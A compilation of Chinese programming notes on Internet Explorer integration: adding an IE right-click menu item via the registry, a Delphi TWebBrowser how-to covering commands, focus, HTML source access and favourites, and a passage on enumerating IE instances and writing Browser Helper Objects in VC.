Regsvr32.exe就会弹出对话框

提示对象注册成功。

打开UltraEdit(或者其它文本编辑器)将下面的脚本代码输入编辑器中：

将文件保存到c:\program files 下，文件名为 geturl.htm

从上面的脚本可以看到，首先访问external.menuArguments属性，获得用户单

击鼠标右键位置的对象，然

后根据对象的不同获得它的URL，然后建立IEContextMenu.IEMenu1对象并调用该对

象的AddURL方法。

接下来是为右键菜单建立注册项，打开UltraEdit(或者其它文本编辑器)将下面

的注册数据输入编辑器中

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\&Get

URL]

@="c:\\program files\\geturl.htm"

"Contexts"=dword:00000022

将文件以reg为后缀保存，然后在Windows资源管理器中双击该文件将注册项添加

到注册表中，然后打开

IE，右键点击一个连接或者图片，在弹出菜单中会出现一个Get URL项，点击该项，

就会出现一个消息框显示

点击的连接或者图片的URL地址

下面再介绍一下上面注册项中Contexts项的作用，通过该项可以制定菜单项在右

键点击IE中的什么对象时

出现，它可以为以下值的“或”组合：

对象 值

缺省 0x1

图片 0x2

控件 0x4

表单域 0x8

选择文本 0x10

锚点 0x20

例如上面我们希望菜单项在用户点击图片或者超链接时出现，那么我们就将值设

置为dword:00000022，既在

点击图片 或者 锚点时出现菜单。一个锚点是页面中描述一个超链接的对象。如果不

设置Contexts项，则菜单项

会在点击任何对象时出现在右键菜单中。


TWebBrowser编程简述

作者：CathyEagle〓::阿甘的家::〓

１、初始化和终止化（Initialization & inalization）

    大家在执行TWebBrowser的某个方法以进行期望的操作，如ExecWB等的时候可能都碰到过“试图激活未注册的丢失目标”或“OLE对象未注册”等错误，或者并没有出错但是得不到希望的结果，比如不能将选中的网页内容复制到剪贴板等。以前用它编程的时候，我发现ExecWB有时侯起作用但有时侯又不行，在Delphi生成的缺省工程主窗口上加入TWebBrowser，运行时并不会出现“OLE对象未注册”的错误。同样是一个偶然的机会，我才知道OLE对象需要初始化和终止化（懂得的东东实在太少了）。
    我用我的前一篇文章《Delphi程序窗口动画&正常排列平铺的解决》所说的方法编程，运行时出了上面所说的错误，我便猜想应该有OleInitialize之类的语句，于是，找到并加上了下面几句话，终于搞定！究其原因，我想大概是由于TWebBrowser是一个嵌入的OLE对象而不算是用Delphi编写的VCL吧。

    initialization
      OleInitialize(nil);
    finalization
      try
        OleUninitialize;
      except
      end;

    这几句话放在主窗口所有语句之后，“end.”之前。

--------------------------------------------------------------------------------------------------------

２、EmptyParam

    在Delphi 5中TWebBrowser的Navigate方法被多次重载：

    procedure Navigate(const URL: WideString); overload;
    procedure Navigate(const URL: WideString; var Flags: OleVariant); overload;
    procedure Navigate(const URL: WideString; var Flags: OleVariant; var TargetFrameName: 　　　　OleVariant); overload;
    procedure Navigate(const URL: WideString; var Flags: OleVariant; var TargetFrameName: 　　　　OleVariant; var PostData: OleVariant); overload;
    procedure Navigate(const URL: WideString; var Flags: OleVariant; var TargetFrameName: 　　　　OleVariant; var PostData: OleVariant; var Headers: OleVariant); overload;

    而在实际应用中，使用后几种方法调用时，由于我们很少用到后面几个参数，但函数声明又要求是变量参数，一般的做法如下：

    var
      t:OleVariant;
    begin
      webbrowser1.Navigate(edit1.text,t,t,t,t);
    end;

    需要定义变量t（还有很多地方要用到它），很麻烦。其实我们可以用EmptyParam来代替（EmptyParam是一个公用的Variant空变量，不要对它赋值），只需一句话就可以了：

    webbrowser1.Navigate(edit1.text,EmptyParam,EmptyParam,EmptyParam,EmptyParam);

    虽然长一点，但比每次都定义变量方便得多。当然，也可以使用第一种方式。

    webbrowser1.Navigate(edit1.text)

--------------------------------------------------------------------------------------------------------

３、命令操作

    常用的命令操作用ExecWB方法即可完成，ExecWB同样多次被重载：

    procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT); overload;
    procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT; var pvaIn:
        OleVariant); overload;
    procedure ExecWB(cmdID: rOLECMDID; cmdexecopt: OLECMDEXECOPT; var pvaIn:
        OleVariant; var pvaOut: OleVariant); overload;

    打开：　弹出“打开Internet地址”对话框，CommandID为OLECMDID_OPEN（若浏览器版本为IE5.0，
            则此命令不可用）。
    另存为：调用“另存为”对话框。
            ExecWB(OLECMDID_SAVEAS,OLECMDEXECOPT_DODEFAULT, EmptyParam,
                      EmptyParam);

    打印、打印预览和页面设置：　调用“打印”、“打印预览”和“页面设置”对话框（IE5.5及以上版本才支持打
                                印预览，故实现应该检查此命令是否可用）。
            ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_DODEFAULT, EmptyParam,
                      EmptyParam);
            if QueryStatusWB(OLECMDID_PRINTPREVIEW)=3 then
              ExecWB(OLECMDID_PRINTPREVIEW, OLECMDEXECOPT_DODEFAULT,
                      EmptyParam,EmptyParam);
            ExecWB(OLECMDID_PAGESETUP, OLECMDEXECOPT_DODEFAULT, EmptyParam,
                      EmptyParam);

    剪切、复制、粘贴、全选：　功能无须多说，需要注意的是：剪切和粘贴不仅对编辑框文字，而且对网页上的非编
                              辑框文字同样有效，用得好的话，也许可以做出功能特殊的东东。获得其命令使能状
                              态和执行命令的方法有两种（以复制为例，剪切、粘贴和全选分别将各自的关键字替
                              换即可，分别为CUT,PASTE和SELECTALL）：
      A、用TWebBrowser的QueryStatusWB方法。
          if(QueryStatusWB(OLECMDID_COPY)=OLECMDF_ENABLED) or
            OLECMDF_SUPPORTED) then
            ExecWB(OLECMDID_COPY, OLECMDEXECOPT_DODEFAULT, EmptyParam,
                      EmptyParam);
      B、用IHTMLDocument2的QueryCommandEnabled方法。
          var
            Doc: IHTMLDocument2;
          begin
            Doc :=WebBrowser1.Document as IHTMLDocument2;
            if Doc.QueryCommandEnabled('Copy') then
              Doc.ExecCommand('Copy',false,EmptyParam);
          end;

    查找：　参考第九条“查找”功能。

--------------------------------------------------------------------------------------------------------

４、字体大小

    类似“字体”菜单上的从“最大”到“最小”五项（对应整数0～4，Largest等假设为五个菜单项的名字，Tag 属性分别设为0～4）。
      A、读取当前页面字体大小。
          var
            t: OleVariant;
          Begin
            WebBrowser1.ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER,
              EmptyParam,t);
            case t of
            4: Largest.Checked :=true;
            3: Larger.Checked :=true;
            2: Middle.Checked :=true;
            1: Small.Checked :=true;
            0: Smallest.Checked :=true;
            end;
          end;
      B、设置页面字体大小。
          Largest.Checked :=false;
          Larger.Checked :=false;
          Middle.Checked :=false;
          Small.Checked :=false;
          Smallest.Checked :=false;
          TMenuItem(Sender).Checked :=true;
          t :=TMenuItem(Sender).Tag;
          WebBrowser1.ExecWB(OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER,
            t,t);

--------------------------------------------------------------------------------------------------------

５、添加到收藏夹和整理收藏夹

        const
          CLSID_ShellUIHelper: TGUID = '{64AB4BB7-111E-11D1-8F79-00C04FC2FBE1}';

        var
          p:procedure(Handle: THandle; Path: PChar); stdcall;

        procedure TForm1.OrganizeFavorite(Sender: Tobject);
        var
          H: HWnd;
        begin
          H := LoadLibrary(PChar('shdocvw.dll'));
          if H <> 0 then
          begin
        p := GetProcAddress(H, PChar('DoOrganizeFavDlg'));
            if Assigned(p) then p(Application.Handle, PChar(FavFolder));
          end;
          FreeLibrary(h);
        end;

        procedure TForm1.AddFavorite(Sender: TObject);
        var
          ShellUIHelper: ISHellUIHelper;
          url, title: Olevariant;
        begin
          Title := Webbrowser1.LocationName;
          Url := Webbrowser1.LocationUrl;
          if Url <> '' then
          begin
            ShellUIHelper := CreateComObject(CLSID_SHELLUIHELPER) as IShellUIHelper;
            ShellUIHelper.AddFavorite(url, title);
          end;
        end;

--------------------------------------------------------------------------------------------------------

６、使WebBrowser获得焦点

    TWebBrowser非常特殊，它从TWinControl继承来的SetFocus方法并不能使得它所包含的文档获得焦点，从而不能立即使用Internet Explorer本身具有得快捷键，解决方法如下：<

    procedure TForm1.SetFocusToDoc;
    begin
      if WebBrowser1.Document <> nil then
        with WebBrowser1.Application as IOleobject do
          DoVerb(OLEIVERB_UIACTIVATE, nil, WebBrowser1, 0, Handle, GetClientRect);
    end;

    除此之外，我还找到一种更简单的方法，这里一并列出：

    if WebBrowser1.Document <> nil then
      IHTMLWindow2(IHTMLDocument2(WebBrowser1.Document).ParentWindow).focus

    刚找到了更简单的方法，也许是最简单的：

    if WebBrowser1.Document <> nil then
      IHTMLWindow4(WebBrowser1.Document).focus

    还有，需要判断文档是否获得焦点这样来做：

    if IHTMLWindow4(WebBrowser1.Document).hasfocus then

--------------------------------------------------------------------------------------------------------

７、点击“提交”按钮

    如同程序里每个窗体上有一个“缺省”按钮一样，Web页面上的每个Form也有一个“缺省”按钮——即属性为“Submit”的按钮，当用户按下回车键时就相当于鼠标单击了“Submit”。但是TWebBrowser似乎并不响应回车键，并且，即使把包含TWebBrowser的窗体的KeyPreview设为True，在窗体的KeyPress事件里还是不能截获用户向TWebBrowser发出的按键。
    我的解决办法是用ApplicatinEvents构件或者自己编写TApplication对象的OnMessage事件，在其中判断消息类型，对键盘消息做出响应。至于点击“提交”按钮，可以通过分析网页源代码的方法来实现，不过我找到了更为简单快捷的方法，有两种，第一种是我自己想出来的，另一种是别人写的代码，这里都提供给大家，以做参考。

    A、用SendKeys函数向WebBrowser发送回车键
       在Delphi 5光盘上的Info\Extras\SendKeys目录下有一个SndKey32.pas文件，其中包含了两个函数SendKeys和AppActivate，我们可以用SendKeys函数来向WebBrowser发送回车键，我现在用的就是这个方法，使用很简单，在WebBrowser获得焦点的情况下（不要求WebBrowser所包含的文档获得焦点），用一条语句即可：

      Sendkeys('~',true);// press RETURN key

      SendKeys函数的详细参数说明等，均包含在SndKey32.pas文件中。

    B、在OnMessage事件中将接受到的键盘消息传递给WebBrowser。

      procedure TForm1.ApplicationEvents1Message(var Msg: TMsg; var Handled: Boolean);
      {fixes the malfunction of some keys within webbrowser control}
      const
        StdKeys = [VK_TAB, VK_RETURN]; { standard keys }
        ExtKeys = [VK_DELETE, VK_BACK, VK_LEFT, VK_RIGHT]; { extended keys }
        fExtended = $01000000; { extended key flag }
      begin
        Handled := False;
        with Msg do
        if ((Message >= WM_KEYFIRST) and (Message <= WM_KEYLAST)) and
          ((wParam in StdKeys) or
          {$IFDEF VER120}(GetKeyState(VK_CONTROL) < 0) or {$ENDIF}
          (wParam in ExtKeys) and
          ((lParam and fExtended) = fExtended)) then
        try
          if IsChild(Handle, hWnd) then { handles all browser related messages }
          begin
            with {$IFDEF VER120}Application_{$ELSE}Application{$ENDIF} as
                IOleInPlaceActiveObject do
              Handled := TranslateAccelerator(Msg) = S_OK;
              if not Handled then
              begin
                Handled := True;
                TranslateMessage(Msg);
                DispatchMessage(Msg);
              end;
              end;
        except
        end;
      end; // MessageHandler

    （此方法来自EmbeddedWB.pas）

--------------------------------------------------------------------------------------------------------

８、直接从TWebBrowser得到网页源码及Html

    下面先介绍一种极其简单的得到TWebBrowser正在访问的网页源码的方法。一般方法是利用TWebBrowser控件中的Document对象提供的IPersistStreamInit接口来实现，具体就是：先检查WebBrowser.Document对象是否有效，无效则退出；然后取得IPersistStreamInit接口，接着取得HTML源码的大小，分配全局堆内存块，建立流，再将HTML文本写到流中。程序虽然不算复杂，但是有更简单的方法，所以实现代码不再给出。其实基本上所有IE的功能TWebBrowser都应该有较为简单的方法来实现，获取网页源码也是一样。下面的代码将网页源码显示在Memo1中。

      Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterHtml);

    同时，在用TWebBrowser浏览HTML文件的时候要将其保存为文本文件就很简单了，不需要任何的语法解析工具，因为TWebBrowser也完成了，如下：

      Memo1.Lines.Add(IHtmlDocument2(WebBrowser1.Document).Body.OuterText);

--------------------------------------------------------------------------------------------------------

９、“查找”功能

    查找对话框可以在文档获得焦点的时候通过按键Ctrl-F来调出，程序中则调用IOleCommandTarget对象的成员函数Exec执行OLECMDID_FIND操作来调用，下面给出的方法是如何在程序中用代码来做出文字选择，即你可以自己设计查找对话框。

      var
        Doc: IHtmlDocument2;
        TxtRange: IHtmlTxtRange;
      begin
        Doc :=WebBrowser1.Document as IHtmlDocument2;
        Doc.SelectAll;　　　　//此处为简写，选择全部文档的方法请参见第三条命令操作
                                //这句话尤为重要，因为IHtmlTxtRange对象的方法能够操作的前提是
                                //Document已经有一个文字选择区域。由于接着执行下面的语句，所以不会
                                //看到文档全选的过程。
        TxtRange :=Doc.Selection.CreateRange as IHtmlTxtRange;
        TxtRange.FindText('Text to be searched',0.0);
        TxtRange.Select;
      end;

    还有，从Txt.Get_text可以得到当前选中的文字内容，某些时候是有用的。

--------------------------------------------------------------------------------------------------------

１０、提取网页中所有链接

    这个方法来自大富翁论坛hopfield朋友的对一个问题的回答，我本想自己试验，但总是没成功。

    var
      doc:IHTMLDocument2;
      all:IHTMLElementCollection;
      len,i:integer;
      item:OleVariant;
    begin
      doc:=WebBrowser1 .Document as IHTMLDocument2;
      all:=doc.Get_links;　　　　　　　　　　　　　//doc.Links亦可
      len:=all.length;
      for i:=0 to len-1 do begin
        item:=all.item(i,varempty);　　　　　　　　//EmpryParam亦可
        memo1.lines.add(item.href);
      end;
    end;

--------------------------------------------------------------------------------------------------------

１１、设置TWebBrowser的编码

    为什么我总是错过很多机会？其实早就该想到的，但是一念之差，便即天壤之别。当时我要是肯再多考虑一下，多试验一下，这就不会排到第１１条了。下面给出一个函数，搞定，难以想象的简单。

    procedure SetCharSet(AWebBrowser: TWebBrowser; ACharSet: String);
    var
      RefreshLevel: OleVariant;
    Begin
      IHTMLDocument2(AWebBrowser.Document).Set_CharSet(ACharSet);
      RefreshLevel :=7;　　　　　　　　　　　　　　//这个7应该从注册表来，帮助有Bug。
      AWebBrowser.Refresh2(RefreshLevel);
    End;


判断下载网页成功

procedure tfrmie2.webdocumentcomplete(sender: tobject; pdisp: idispatch;

var url: olevariant);

看见了吧,是ondocumentcomplete事件触发的下载完毕,还会告诉你是那个url被下载完毕了,非常好用哦.因为页面中如果有iframe,那么每个iframe会触发一个documentcomplete事件.

那我们怎么判断是否全部下载完毕呢?嘿嘿,twebbrowser控件不是有一个busy属性的吗?

procedure tfrmie2.webdocumentcomplete(sender: tobject; pdisp: idispatch;

var url: olevariant);

begin

if not(web.busy) then begin

showmessage('下载完毕');

end;

end;

对于每次连接(不论是鼠标点击还是用navigate2方法连接),twebbrowser的流程是这样的:

onbeforenavigate2 <--开始链接时会触发此事件

onnavigatecomplete2 <--成功的链接到此网页(以后才会有下面的事件)

ondownloadbegin <--开始下载

ondownloadcomplete <--下载结束

ondocumentcomplete <--页面下载完毕

对于每个html页面,顺序都是如此.如果是frame或iframe的文件都会当成html页面处理.也就是说如果一个页面中有3个iframe,那么总共会触发4次beforenavigate2事件.

对于每个连接且需要显示出来的二进制文件(如*.gif,*.bmp,*.jpg...)都会触发一个downloadbegin和downloadcomplete事件.


获得收藏夹的内容

function GetIEFavourites(const favpath: string):TStrings;
var
searchrec:TSearchrec;
str:TStrings;
path,dir,filename:String;
Buffer: array[0..2047] of Char;
found:Integer;
begin
str:=TStringList.Create;
//Get all file names in the favourites path
path:=FavPath+'\*.url';
dir:=ExtractFilepath(path);
found:=FindFirst(path,faAnyFile,searchrec);
while found=0 do begin
//Get now URLs from files in variable files
SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',
PChar('URL'), NIL, Buffer, SizeOf(Buffer), PChar(dir+searchrec.Name)));
str.Add(filename);
found:=FindNext(searchrec);
end;
//unterordner finden
found:=FindFirst(dir+'\*.*',faAnyFile,searchrec);
while found=0 do begin
if ((searchrec.Attr and faDirectory) > 0) and (searchrec.Name[1]<>'.') then
str.AddStrings(GetIEFavourites(dir+'\'+searchrec.name));
found:=FindNext(searchrec);
end;
FindClose(searchrec);
Result:=str;
end;

procedure TForm1.Button1Click(Sender: TObject);
var pidl: PItemIDList;
FavPath: array[0..MAX_PATH] of char;
begin
SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);
SHGetPathFromIDList(pidl, favpath);
ListBox1.Items:=GetIEFavourites(StrPas(FavPath));
end;


直接访问浏览器里的原码

---- 为了实现在自己的程序中显示HTML文档，我们一般采用IE(Internet Explorer本文中简称为IE)发行时
附带的一个ActiveX控件TWebBrowser。这个控件使用和IE相同的内核，功能强大，并从Delphi5开始，正式得到
Inprise公司的支持，取代了原来的那个THTML控件，成为Delphi中显示HTML文档的首选控件。
---- 但是在实际编程过程中，我发现这个控件提供的功能有很多限制，比如对HTML文档的浏览，只能通过指定
URL或文件名来实现，不能像以往使用THTML控件那样直接读写HTML源码。因此如果程序动态生成了一段HTML文本，
就必须把文本内容先写到一个临时文件，然后再将此文件的文件名传递给WebBrowser控件，实现显示。
走这一个弯路使程序响应速度受到很大影响，而且容易遗留下一些"垃圾"(临时文件)。
---- 在考察了一些使用了WebBrowser控件的程序后，我发现大部分程序，如著名国产软件FoxMail，都是使用的
通过临时文件传递HTML文档的方法；但一些国外的软件，如MS自己的OutLook Express则不存在这个问题，而因为
其无需产生临时文件，因此对HTML文档的显示速度明显超过Foxmail。
---- 为此，我查阅了一些相关资料，最后在网友的帮助下找到了实现直接访问WebBrowser控件中的HTML源码的方法。
在此要特别感谢白云黄鹤BBS上的网友AngleFalls提供线索。
---- 其实，WebBrowser控件中的Document对象，这个对象提供了一个IPersistStreamInit接口，通过此接口，
我们可以方便地实现对HTML源码的读写。
---- 以下是IPersistStreamInit接口的相关定义及说明：
{ IPersistStream interface }

{$EXTERNALSYM IPersistStream}
IPersistStream =
interface(IPersist)
['{00000109-0000-0000-C000-000000000046}']
function
IsDirty: HResult; stdcall;
// 最后一次存盘后是否被修改
function Load(const stm:
IStream): HResult; stdcall;
// 从流中载入
function Save(const stm: IStream;
fClearDirty: BOOL): HResult; stdcall;
// 保存到流
function GetSizeMax(out
cbSize: Largeint):
HResult; stdcall; // 取得保存所需空间大小
end;

{ IPersistStreamInit interface }

{$EXTERNALSYM IPersistStreamInit}
IPersistStreamInit = interface(IPersistStream)
['{7FD52380-4E07-101B-AE2D-08002B2EC713}']
function InitNew: HResult; stdcall; // 初始化
end;

首先来实现写，因为这是最迫切的要求：
procedure SetHtml(const WebBrowser:
TWebBrowser; const Html: string);
var
Stream: IStream;
hHTMLText: HGLOBAL;
psi: IPersistStreamInit;
begin
if not Assigned(WebBrowser.Document) then Exit;

hHTMLText := GlobalAlloc(GPTR, Length(Html) + 1);
if 0 = hHTMLText then
RaiseLastWin32Error;

CopyMemory(Pointer(hHTMLText),
PChar(Html), Length(Html));

OleCheck(CreateStreamOnHGlobal
(hHTMLText, True, Stream));
try
OleCheck(WebBrowser.Document.
QueryInterface(IPersistStreamInit, psi));
try
OleCheck(psi.InitNew);
OleCheck(psi.Load(Stream));
finally
psi := nil;
end;
finally
Stream := nil;
end;
end;
---- 首先，此过程需要的两个参数，WebBrowser是显示目的控件，Html是需要显示的HTML源码；然后，先检查
WebBrowser.Document对象是否有效，无效则退出；接着在系统全局堆里分配一块内存，将需要显示的HTML源码
复制进去。这是因为下一步需要建立一个WebBrowser控件可以读取的流。GlobalAlloc函数的参数GPTR表示
需要分配一块固定的以0初始化过的内存区域，如果分配失败则返回0，则通过RaiseLastWin32Error函数引发
一个异常，提示用户；然后用CreateStreamOnHGlobal函数建立一个基于全局堆内存块的流，第二个参数如果
为True则流在释放时自动释放所占全局堆内存。如果建立成功则此流和刚刚建立的内存块共用同一块内存区域。
接着用WebBrowser.Document.QueryInterface函数建立一个IPersistStreamInit接口。然后
就可以直接使用此接口，psi.InitNew初始化状态；psi.Load(Stream)从流中载入HTML源码。
---- 至此，以Html参数指定的HTML源码就在WebBrowser参数指定的控件中显示出来。
---- 值得注意的是，每个关于COM接口的函数调用，也就是那些返回类型为HResult的函数，都必须以OleCheck包装，
因为一个不检查返回状态的COM接口操作实在太危险了；此外接口的释放，虽然Delphi可以在后台自动完成，但作为
一个好的编程习惯，还是应该显式地手工释放，释放只需将接口设为nil即可。

---- 接着来实现HTML源码的读：

function GetHtml(const WebBrowser:
TWebBrowser): string;
const
BufSize = $10000;
var
Size: Int64;
Stream: IStream;
hHTMLText: HGLOBAL;
psi: IPersistStreamInit;
begin
if not Assigned(WebBrowser.Document) then Exit;

OleCheck(WebBrowser.Document.QueryInterface
(IPersistStreamInit, psi));
try
//OleCheck(psi.GetSizeMax(Size));
hHTMLText := GlobalAlloc(GPTR, BufSize);
if 0 = hHTMLText then RaiseLastWin32Error;

OleCheck(CreateStreamOnHGlobal(hHTMLText,
True, Stream));
try
OleCheck(psi.Save(Stream, False));

Size := StrLen(PChar(hHTMLText));
SetLength(Result,
Size);
CopyMemory(PChar(Result), Pointer(hHTMLText),
Size);
finally
Stream := nil;
end;
finally
psi :=
nil;
end;
end;

---- 此函数有一个参数WebBrowser指定从那个控件读取HTML源码，返回一个字符串为此控件中的HTML源码。
首先还是要先检查WebBrowser.Document对象是否有效，无效则退出；然后取得IPersistStreamInit接口；
接着取得HTML源码的大小：本来应该使用IPersistStreamInit接口的GetSizeMax函数，但在我的机器
上测试，这个函数范围值衡为0，无效。因此只能先定义一个足够大的缓冲区，如BufSize = $10000字节(注意此
缓冲区应该足够大)；然后同样地分配全局堆内存块，建立流，然后将HTML文本写到流中。因为此HTML文本在流中
是以#0结尾的字符串，因此可以用Size := StrLen(PChar(hHTMLText))取得实际长度，用SetLength(Result, Size);
设置返回字符串长度为HTML源码实际长度，最后复制字符串到返回字符串中。
---- 至此，直接访问WebBrowser
控件中的HTML源码所需的两个函数全部解析完毕。

---- 不过需要注意的时，在使用这两个函数前，最好对WebBrowser.Document对象进行初始化。下面提供一个
函数，通过显示一个空白页面实现WebBrowser.Document对象初始化。

procedure ShowBlankPage(WebBrowser:
TWebBrowser);
var
URL: OleVariant;
begin
URL := 'about:blank';
WebBrowser.Navigate2(URL);
end;

---- 建议在你有WebBrowser控件的Form的FormCreate事件里调用此函数，初始化WebBrowser.Document对象。


同浏览器交互的方法

实现和IE浏览器交互的几种方法的介绍

---- 1．引言

---- 如何实现对IE浏览器中对象的操作是一个很有实际意义问题，通过和IE绑定的DLL我们可以记录IE浏览过的网页的顺序，分析用户的使用行为和模式。我们可以对网页的内容进行过滤和翻译，可以自动填写网页中经常需要用户填写的Form内容等等,我们所有的例子代码都是通过VC来表示的，采用的原理是通过和IE对象的接口的交互来实现对IE的访问。实际上是采用COM的技术，我们知道COM是和语言无关的一种二进制对象交互的模式，所以实际上我们下面所描述的内容都可以用其他的语言来实现，比如VB，DELPHI，C++ Builder等等。

---- 2．IE实例遍历实现

---- 首先我们来看系统是如何知道当前有多少个IE的实例在运行。

---- 我们知道在Windows体系结构下，一个应用程序可以通过操作系统的运行对象表来和这些应用的实例进行交互。但是IE当前的实现机制是不在运行对象表中进行注册，所以需要采用其他的方法。我们知道可以通过ShellWindows集合来代表属于shell的当前打开的窗口的集合，而IE就是属于shell的一个应用程序。

---- 下面我们描述一下用VC实现对当前 IE实例的进行遍历的方法。IShellWindows是关于系统shell的一个接口，我们可以定义一个如下的接口变量：

SHDocVw::IShellWindowsPtr m_spSHWinds;
然后创建变量的实例：
   m_spSHWinds.CreateInstance
   (__uuidof(SHDocVw::ShellWindows));
通过IShellWindows接口的方法GetCount
可以得到当前实例的数目：
      long nCount = m_spSHWinds- >GetCount();
通过IShellWindows接口的方法Item
可以得到每一个实例对象
    IDispatchPtr spDisp;
    _variant_t va(i, VT_I4);
    spDisp = m_spSHWinds->Item(va);
然后我们可以判断实例对象是不是
属于IE浏览器对象，通过下面的语句实现：
    SHDocVw::IWebBrowser2Ptr spBrowser(spDisp);
    assert(spBrowser != NULL)

----在得到了IE浏览器对象以后，我们可以调用IWebBrowser2Ptr接口的方法来得到当前的文档对象的指针： MSHTML::IHTMLDocument2Ptr spDoc(spBrowser->GetDocument());

---- 然后我们就可以通过这个接口对这个文档对象进行操作，比如通过Gettitle得到文档的标题。

---- 我们在浏览网络的时候，一般总会同时开很多IE的实例，如果这些页面都是很好的话，我们可能想保存在硬盘上，这样，我们需要对每一个实例进行保存，而如果我们采用上面的原理，我们可以得到每一个IE的实例及其网页对象的接口，这样就可以通过一个简单的程序来批量的保存当前的所有打开的网页。采用上面介绍的方法实现了对当前IE实例的遍历，但是我们希望得到每一个IE实例所产生的事件，这就需要通过DLL的机制来实现。

---- 3．和IE相绑定的DLL的实现

---- 我们介绍一下如何建立和IE进行绑定的DLL的实现的过程。为了和IE的运行实例进行绑定，我们需要建立一个能够和每一个IE实例进行绑定的DLL。IE的启动过程是这样的，当每一个IE的实例启动的时候，它都会在注册表中去寻找这个的一个CLSID，具体的注册表的键位置为：

HKEY_LOCALL_MACHINE\SOFTWARE\Microsoft\Windows
\CurrentVersion\Explorer\Browser Helper Objects

---- 当在这个键位置下存在CLSIDs的时候，IE会通过使用CoCreateInstance()方法来创建列在该键位置下的每一个对象的实例。注意对象的CLSIDs必须用子键而非名字值的形式表现，比如{DD41D66E-CE4F-11D2-8DA9-00A0249EABF4} 就是一个有效的子键。我们使用DLL的形式而非EXE的形式的原因是因为DLL和IE实例运行在同一个进程空间里面。每一个这种形式的DLL必须实现接口IObjectWithSite，其中方法SetSite必须被实现。通过这个方法，我们自己的DLL就可以得到一个指向IE COM对象的IUnknown的指针，实际上通过这个指针我们就可以通过COM对象中的方法QueryInterface来遍历所有可以得到的接口，这是COM的基本的机制。当然我们需要的只是IWebBrowser2这个接口。

---- 实际上我们建立的是一个COM对象，DLL只不过是COM对象的一种表现形式。我们建立的COM对象需要建立和实现的方法有：

----1． IOleObjectWithSite接口的方法SetSite必须实现。实际上IE实例通过这个方法向我们的COM对象传递一个接口的指针。假设我们有一个接口指针的变量，不妨设为：

----CComQIPtr< IWebBrowser2, &IID_IWebBrowser2 > m_myWebBrowser2;

---- 我们就可以在方法SetSite中把这个传进来的接口指针赋给m_myWebBrowser2。 2． 在我们得到了指向IE COM对象的接口后，我们需要把自己的DLL和IE实例所发生的事件相关连,为了实现这个目的，需要介绍两个接口：

----（1） IConnectionPointContainer。这里使用这个接口的目的是用来根据它得到的IID来建立和DLL的一个特定的连接。比如我们可以进行如下的定义：

CComQIPtr< IConnectionPointContainer,
&IID_IConnectionPointContainer >
spCPContainer(m_myWebBrowser2);

----然后，我们需要把所有IE中发生的事件和我们的DLL进行通讯，可以使用 IConnectPoint。

----（2） IConnectPoint。通过这个接口，客户可以对连接的对象开始或者是终止一个advisory循环。IConnectPoint有两个主要的方法，一个为Advice，另一个为Unadvise。对于我们的应用来说，Advise是用来在每一个IE发生的事件和DLL之间建立一个通道。而Unadvise就是用来终止以前用Advise建立的通知关系。比如我们可以定义IConnectPoint接口如下： CComPtr< IConnectionPoint > spConnectionPoint;

---- 然后，我们要使所有在IE实例中发生的事件和我们的DLL相关，可以使用 如下的方法：

hr = spCPContainer->FindConnectionPoint(
DIID_DWebBrowserEvents2, &spConnectionPoint);

----然后我们通过IConnectPoint接口的方法Advice使每当IE有一个新的事件发生的时候，都能够让我们的DLL知道。可以用如下的语句实现：

hr = spConnectionPoint- >Advise(
    (IDispatch*)this, &m_dwIDCode);

----在把IE实例中的事件和我们的DLL之间建立联系以后，我们可以通过IDispatch接口的Invoke()方法来处理所有的IE的事件。

----3． IDispatch接口的Invoke()方法。IDispatch是从IUnknown中继承的一个接口的类型，通过COM接口提供的任何服务都可以通过IDispatch接口来实现。IDispatch::Invoke的工作方式同vtbl幕后的工作方式是类似的，Invoke将实现一组按索引来访问的函数，我们可以对Invoke方法进行动态的定制以提供不同的服务。Invoke方法的表示如下：

STDMETHOD(Invoke)(DISPID dispidMember,REFIID
riid, LCID lcid, WORD wFlags,
DISPPARAMS * pdispparams, VARIANT * pvarResult,
EXCEPINFO * pexcepinfo, UINT * puArgErr);

----其中，DISPID是一个长整数，它标识的是一个函数。对于IDispatch的某一个特定的实现，DISPID都是唯一的。IDispatch的每一个实现都有其自己的IID,这里dispidMemeber实际上是可以认为是和IE实例所发生的每一个事件相关的方法，比如：DISPID_BEFORENAVIGATE2，DISPID_NAVIGATECOMPLETE2等等。 这个方法中另外一个比较重要的参数是DISPPARAMS，它的结构如下：

typedef struct tagDISPPARAMS
   {
       VARIANTARG* rgvarg;
     //VARIANTARG是同VARAIANT相同的，可以在
    //OAIDL.IDL中找到。所以实际上rgvarg是一个参数数
     //组
       DISPID*  rgdispidNameArgs;  //命名参数的DISPID
       unsigned int cArgs;    //表示数组中元素的个数
       unsigned int CnameArgs;  //命名元素的个数
   }DISPPARAMS

----要注意的是每一个参数的类型都是VARIANTARG，所以在IE和我们DLL之间可以传递的参数类型的数目是有限的。只有那些能够被放到VARIANTARG结构中的类型才可以通过调度接口进行传递。 比如对于事件DISPID_NAVIGATECOMPLETE2来说：第一个参数表示IE在访问的URL的值，类型是VT_BYREF|VT_VARIANT。注意DISPID_NAVIGATECOMPLETE2等DISPID已经在VC中被定义，我们可以直接进行使用。 如上说述，我们在方法Invoke中可以得到所有IE实例所发生的事件，我们可以把这些数据放到文件中进行事后的分析，也可以放到一个列表框中实时的显示。

---- 4．微软的HTML文档对象模型和应用分析

---- 下面我们来看如何得到网页文档的接口：网页文档的接口为IHTMLDocument2，可以通过调用IE COM对象的get_Document方法来得到网页的接口。使用如下的语句：

hr = m_spWebBrowser2- >get_Document(&spDisp);
    CComQIPtr< IHTMLDocument2,
    &IID_IHTMLDocument2 > spHTML;
    spHTML = spDisp;

